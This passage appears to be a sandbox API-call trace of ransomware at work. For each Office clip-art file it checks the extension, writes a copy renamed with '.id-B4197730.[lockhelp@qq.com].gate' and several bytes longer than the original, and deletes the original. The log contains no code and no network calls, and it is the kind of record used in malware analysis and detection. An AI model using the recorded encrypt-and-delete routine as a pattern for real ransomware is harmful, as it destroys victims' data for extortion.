(lpString1=".dbf", lpString2=".WMF") returned -1 [0303.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.358] lstrlenW (lpString=".1cd") returned 4 [0303.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0303.358] lstrlenW (lpString=".jpg") returned 4 [0303.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.358] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3082) returned 1 [0303.358] CloseHandle (hObject=0x564) returned 1 [0303.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0303.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0303.359] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.359] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0303.360] GetLastError () returned 0x0 [0303.360] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xc0a, lpOverlapped=0x0) returned 1 [0303.525] WriteFile (in: hFile=0x538, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xc10, lpOverlapped=0x0) returned 1 [0303.526] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.526] WriteFile (in: hFile=0x538, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.526] SetEndOfFile (hFile=0x538) returned 1 [0303.526] CloseHandle (hObject=0x538) returned 1 [0303.527] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.527] SetEndOfFile (hFile=0x564) returned 1 [0303.551] CloseHandle (hObject=0x564) returned 1 [0303.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0303.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.762] lstrlenW (lpString=".doc") returned 4 [0303.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.762] lstrlenW (lpString=".docx") returned 5 [0303.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.762] lstrlenW (lpString=".pdf") returned 4 [0303.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.762] lstrlenW (lpString=".xls") returned 4 [0303.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.762] lstrlenW (lpString=".xlsx") returned 5 [0303.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.762] lstrlenW (lpString=".ppt") returned 4 [0303.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.763] lstrlenW (lpString=".zip") returned 4 [0303.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.763] lstrlenW (lpString=".rar") returned 4 [0303.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.763] lstrlenW (lpString=".bz2") returned 4 [0303.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.763] lstrlenW (lpString=".7z") returned 3 [0303.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.763] lstrlenW (lpString=".dbf") returned 4 [0303.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.763] lstrlenW (lpString=".1cd") returned 4 [0303.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0303.763] lstrlenW (lpString=".jpg") returned 4 [0303.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.822] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=15852) returned 1 [0303.822] CloseHandle (hObject=0x52c) returned 1 [0303.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0303.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0303.832] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.832] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0303.833] GetLastError () returned 0x0 [0303.833] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0305.012] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0305.013] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.013] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.014] SetEndOfFile (hFile=0x4c4) returned 1 [0305.357] CloseHandle (hObject=0x4c4) returned 1 [0305.357] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.357] SetEndOfFile (hFile=0x564) returned 1 [0305.361] CloseHandle (hObject=0x564) returned 1 [0305.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0305.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0305.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0305.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0305.830] lstrlenW (lpString=".doc") returned 4 [0305.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.830] lstrlenW (lpString=".docx") returned 5 [0305.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0305.830] lstrlenW (lpString=".pdf") returned 4 [0305.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.830] lstrlenW (lpString=".xls") returned 4 [0305.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.830] lstrlenW (lpString=".xlsx") returned 5 [0305.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0305.831] lstrlenW (lpString=".ppt") returned 4 [0305.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0305.831] lstrlenW (lpString=".zip") returned 4 [0305.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.831] lstrlenW (lpString=".rar") returned 4 [0305.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.831] lstrlenW (lpString=".bz2") returned 4 [0305.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.831] lstrlenW (lpString=".7z") returned 3 [0305.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0305.831] lstrlenW (lpString=".dbf") returned 4 [0305.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0305.831] lstrlenW (lpString=".1cd") returned 4 [0305.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0305.831] lstrlenW (lpString=".jpg") returned 4 [0305.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.831] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=12748) returned 1 [0305.831] CloseHandle (hObject=0x528) returned 1 [0305.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220 [0305.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0305.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0305.835] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.835] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0305.835] GetLastError () returned 0x0 [0305.835] ReadFile (in: hFile=0x528, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x31cc, lpOverlapped=0x0) returned 1 [0305.870] WriteFile (in: hFile=0x4f0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x31d0, lpOverlapped=0x0) returned 1 [0305.871] ReadFile (in: hFile=0x528, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.871] WriteFile (in: hFile=0x4f0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.871] SetEndOfFile (hFile=0x4f0) returned 1 [0305.871] CloseHandle (hObject=0x4f0) returned 1 [0305.871] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.871] SetEndOfFile (hFile=0x528) returned 1 [0306.147] CloseHandle (hObject=0x528) returned 1 [0306.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0306.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0306.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0306.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0306.657] lstrlenW (lpString=".doc") returned 4 [0306.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.657] lstrlenW (lpString=".docx") returned 5 [0306.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0306.657] lstrlenW (lpString=".pdf") returned 4 [0306.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.657] lstrlenW (lpString=".xls") returned 4 [0306.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.657] lstrlenW (lpString=".xlsx") returned 5 [0306.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0306.657] lstrlenW (lpString=".ppt") returned 4 [0306.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0306.657] lstrlenW (lpString=".zip") returned 4 [0306.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.657] lstrlenW (lpString=".rar") returned 4 [0306.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.657] lstrlenW (lpString=".bz2") returned 4 [0306.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.657] lstrlenW (lpString=".7z") returned 3 [0306.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0306.658] lstrlenW (lpString=".dbf") returned 4 [0306.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0306.658] lstrlenW (lpString=".1cd") returned 4 [0306.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0306.658] lstrlenW (lpString=".jpg") returned 4 [0306.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0306.821] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.821] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0306.822] GetLastError () returned 0x0 [0306.822] ReadFile (in: hFile=0x528, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x4e8, lpOverlapped=0x0) returned 1 [0306.935] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0306.936] ReadFile (in: hFile=0x528, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.936] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.936] SetEndOfFile (hFile=0x52c) returned 1 [0306.936] CloseHandle (hObject=0x52c) returned 1 [0306.937] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.937] SetEndOfFile (hFile=0x528) returned 1 [0306.949] CloseHandle (hObject=0x528) returned 1 [0306.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0306.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0307.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0307.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0307.015] lstrlenW (lpString=".doc") returned 4 [0307.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString=".docx") returned 5 [0307.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0307.015] lstrlenW (lpString=".pdf") returned 4 [0307.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString=".xls") returned 4 [0307.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.015] lstrlenW (lpString=".xlsx") returned 5 [0307.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0307.015] lstrlenW (lpString=".ppt") returned 4 [0307.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0307.015] lstrlenW (lpString=".zip") returned 4 [0307.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.015] lstrlenW (lpString=".rar") returned 4 [0307.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString=".bz2") returned 4 [0307.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString=".7z") returned 3 [0307.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0307.015] lstrlenW (lpString=".dbf") returned 4 [0307.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0307.015] lstrlenW (lpString=".1cd") returned 4 [0307.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0307.015] lstrlenW (lpString=".jpg") returned 4 [0307.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.019] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=35346) returned 1 [0307.019] CloseHandle (hObject=0x4b8) returned 1 [0307.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0307.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0307.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0307.019] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.019] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0307.020] GetLastError () returned 0x0 [0307.020] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x8a12, lpOverlapped=0x0) returned 1 [0307.115] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x8a20, lpOverlapped=0x0) returned 1 [0307.116] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.116] WriteFile (in: hFile=0x52c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.116] SetEndOfFile 